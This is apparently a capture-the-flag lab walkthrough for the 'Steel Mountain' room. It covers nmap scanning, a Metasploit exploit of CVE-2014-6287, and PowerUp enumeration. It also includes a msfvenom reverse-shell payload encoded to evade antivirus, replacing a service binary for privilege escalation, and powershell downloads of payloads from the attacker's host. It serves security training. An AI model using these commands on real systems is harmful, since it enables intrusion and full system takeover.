Steel Mountain

1. Who is the employee of the month?
   -bill harper
   just visit the webserver and inspect the image
2. Scan the machine with nmap. What is the other port running a web server on? -> 8080 use `nmap -sCV -p- TARGET_IP`
3. Take a look at the other web server. What file server is running? Visit the url again but this time use TARGET_IP:8080 and we can see its running a http file server by rejetto
4. CVE of exploit google and it shows up cve-2014-6287
5. Use metasploit to get flag. Run `msfconsole`, do select cve-2014-6287 and we then run options to see the parameters. It requires us to set RHOSTS, RPORT and LHOST. RHOSTS and RPORT for target machine and LHOST for our thm vpn ip. After filling the params, we type exploit and get access to the computer. Navigate to `C:/user/bill/desktop` to get the flag
6. Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an *unquoted service path* vulnerability? -> AdvancedSystemCareService9. Download PowerUp.ps1 given in the question and upload it to the target computer via meterpreter we gained on the previous step. Type in upload . After that we run powershell_shell to access powershell. Type `. . /PowerUp.ps1` to load the script and run `Invoke-AllChecks` to run a scan. Scroll down and we see AdvancedSystemCareService9 has canRestart set to true
7. What is the root flag? To do this we first need to generate a reverse shell that is based off the previous question. We are specifically targetting ASCService.exe. Run `msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe` on your host to generate an exe payload. LHOST is ur thm ip and LPORT will be the port we are going to listen to. shikata_ga_nai is an encoder to overcome antivirus detection. We then finally get an exe file called Advanced.exe. Rename this to ASCService.exe. Next up, in order to replace the original ASCService.exe, we need to stop the service or else we will get error. Go back to our meterpreter and type in shell to get a shell. Run `sc stop AdvancedSystemCareService9` to stop the service. Next, navigate to `C:/program files (x86)/IObit/Advanced SystemCare` in meterpreter (not the shell) and upload our version of ASCService.exe. After we are done, open up another terminal and run `nc -lvnp 4443`. Finally, run `sc start AdvancedSystemCareService9` to start the service but this time with our version of the exe. We should get a reverse shell. Navigate to `C:/Users/Administrator/Desktop` to get the flag.

Without Metasploit

Download winpeas and the exploit.py script. The script needs to be modified specifically the LHOST and lport (set this to your thm ip and the port you are listening to respectively). The exploit also requires a local webserver so we can just use python to do so via `python -m http.server 80`. Run the exploit script using 'python2 exploit.py '. Run it again and we get a reverse shell. We can then import winpeas to find any privilege escalation vuln by using `powershell -c wget "http://THM_IP/winpeas.exe" -outfile winpeas.exe`. We can run it but since we already know what is wrong (Advanced.exe from previous task), we can just use that. Import in the Advanced.exe we generated earlier by using `powershell -c wget "http://THM_IP/Advanced.exe" -outfile Advanced.exe`. Listen to the port we previously set when generating the payload by using `nc -lvnp 4443`. Stop the service similarly as above and start it. Reverse shell.